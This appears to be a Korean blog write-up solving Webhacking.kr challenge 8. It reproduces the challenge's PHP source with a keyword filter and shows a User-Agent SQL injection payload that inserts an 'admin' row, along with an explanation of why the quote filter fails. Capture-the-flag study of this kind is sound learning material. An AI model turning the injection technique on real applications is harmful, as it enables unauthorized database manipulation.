Webhacking.kr 8-sql Injection
- <html>
- <head>
- <title>Challenge 8</title>
- <style type="text/css">
- body { background:black; color:white; font-size:10pt; }
- </style>
- </head>
- <body>
- <br><br>
- <center>USER-AGENT
- <?
- $agent=getenv("HTTP_USER_AGENT");
- $ip=$_SERVER[REMOTE_ADDR]; --내 ip
- $agent=trim($agent); --앞뒤 문자열 공백 제거
- $agent=str_replace(".","_",$agent); -- . => _
- $agent=str_replace("/","_",$agent); -- / => _
- $pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";
- $agent=strtolower($agent); --소문자로 변신
- if(preg_match($pat,$agent)) exit("Access Denied!"); --필터링 겹치면 X
- ; --싱글 쿼터(')=>""
- $_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]); --("\") => ""$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT])
- $count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
- if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }
- $q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'"); -- 핵심 구문
- $ck=@mysql_fetch_array($q);
- if($ck)
- {
- echo("hi <b>$ck[0]</b><p>");
- if($ck[0]=="admin")
- {
- @solve();
- @mysql_query("delete from lv0");
- }
- ㄹ
- }
- if(!$ck)
- {
- $q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
- echo("<br><br>done! ($count_ck[0]/70)");
- }
- ?>
- <!--
- index.phps
- -->
- </body>
- </html>
만약에 agent='$_SERVER[HTTP_USER_AGENT] 이 곳에서 lv0 테이블안에 id가 admin을 가져오지 못한다면 밑에 구문을 실행하게 된다.
HTTP_USER_AGENT란
이렇게 브라우저 환경을 나타내 주는 값
- $q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
이 sql insert 구문으로 $agent는 agent에, $ip는 ip에, $id는 id에 넣는다.
만약 이 구문에서 id에 admin을 넣을 수만있다면, admin을 넣었을 때의 agent를 인자로 주면 id 가 admin이 될 것이다.
where agent='$_SERVER[HTTP_USER_AGENT]
zjet','1','admin')--
이러한 값을 넣어주면 되는데, 그렇게 되면
$q=@mysql_query("insert into lv0(agent,ip,id) values('zjet,"1","admi")--','$ip','guest')")
이 되서 agent가 zjet이고 agent가 zjet인 곳에서의 id는 admin이 되는 것이다.
하지만 '-' 를필터링하고 숫자를 필터링 한다. 따라서 zjet','abc','admin');# 이렇게 넣어주면 된다.
주석은 -- 이외에 #도 있기 때문이다.
하지만 여기서 ' 를 필터링해서 "" 로 만들어주는데 어떻게 zjet','abc','admin');# 이값을 넣어?? 그렇게 되면 zjet,abc,admin);# 이되서
$q=@mysql_query("insert into lv0(agent,ip,id) values('zjet,abc,admin);#
오류가 날텐데?? 라고 생각하시는 분들이 있을 거에요 저 또한 그걸로 해맸습니다. ' (싱글쿼터)를 ""로 만드는 것은 맞습니다. 하지만
$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]) 에서 보듯이 $_SERVER[HTTP_USER_AGENT] 변수가 필터링 되는 것이지 $agent 자체가 필터링 되지는 않습니다.
0 개의 댓글